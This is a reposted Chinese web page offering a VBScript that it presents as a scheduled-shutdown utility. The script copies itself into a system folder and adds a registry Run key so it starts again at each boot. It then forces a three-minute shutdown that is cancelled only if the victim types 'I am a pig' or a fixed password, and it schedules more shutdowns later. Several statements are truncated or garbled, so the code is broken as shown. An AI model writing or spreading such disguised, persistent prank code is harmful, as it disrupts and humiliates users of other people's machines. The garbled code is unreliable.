admin管理员组文章数量:1530845
2024年3月6日发(作者:)
中午十二点及下午五点半关机的VBS程序
将以下代码复制到记事本上,然后将格式保存为(*.VBS)或将文件名保存为就可以用了。程序运行后要输入784405308就可以用了。
on error resume next
p = asc(f)
p1 = asc(l)
Set
fso=CreateObject("Scripting."&"chr(p)"&"i"&"chr(p1)"&"eSystemObject")
Set fso=CreateObject("stemObject")
dim n
Set n=object("")
Set dir = cialFolder(1)
e(FullName).Copy(dir&"")
e(FullName).Copy(dir&"")
te"HKLMSoftwareMicrosoftWindowsCurrentV
ersionRunco","","REG_SZ"
" /c shutdown -s -t 180 -c ""说我是猪,不说我是猪就三分钟关机,不信,试下"" ",0 ,true dim a
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)
if a="784405308" then
" /c shutdown -a",0 ,true
else
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
msgbox "真是笨猪,哈哈。"
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)
do while(a <> "784405308")
a = inputbox ("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)
loop
" /c shutdown -a",0 ,true
end if
dim c
c=weekday(date)
select case c
case 1
msgbox"你好,今天是星期天,加油!"& Time,4096+64
case 2
msgbox"你好,今天是星期一,加油!"& Time,4096+64
case 3
msgbox"你好,今天是星期二,加油!"& Time,4096+64
case 4
msgbox"你好,今天是星期三,加油!"& Time,4096+64
case 5
msgbox"你好,今天是星期四,加油!"& Time,4096+64
case 6
msgbox"你好,今天是星期五,加油!"& Time,4096+64
case 7
msgbox"你好,今天是星期六,加油!"& Time,4096+64
end select
a12 = hour(time)
b12 = minute(time)
if a12 < 12 then
w5 = (12-a12)*60-b12
w6 = w5*60*1000
w6
" /c shutdown -s -t 300 -c ""回答不是就不关机,不然在五分钟后关机"" ",0 ,true
do while(m1 <> "不是")
m1 = inputbox ("回答不是就不关机,不然在五分钟后关机,请你保存文件。","回答","",8000,7000) loop
" /c shutdown -a",0 ,true
end if
if a12 > 12 then
IF a12>17 and b12>30 then
w7 = (17-a12)*60-b12+30
w8 = w7*60*1000
w8
" /c shutdown -s -t 300 -c ""回答不是就不关机,不然在五分钟后关机"" ",0 ,true
do while(m1 <> "不是")
m1 = inputbox ("回答不是就不关机,不然在五分钟后关机,请你保存文件。","回答","",8000,7000) loop
" /c shutdown -a",0 ,true
end if
END IF
版权声明:本文标题:中午十二点及下午五点半关机的VBS程序 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dongtai/1709734942a234043.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论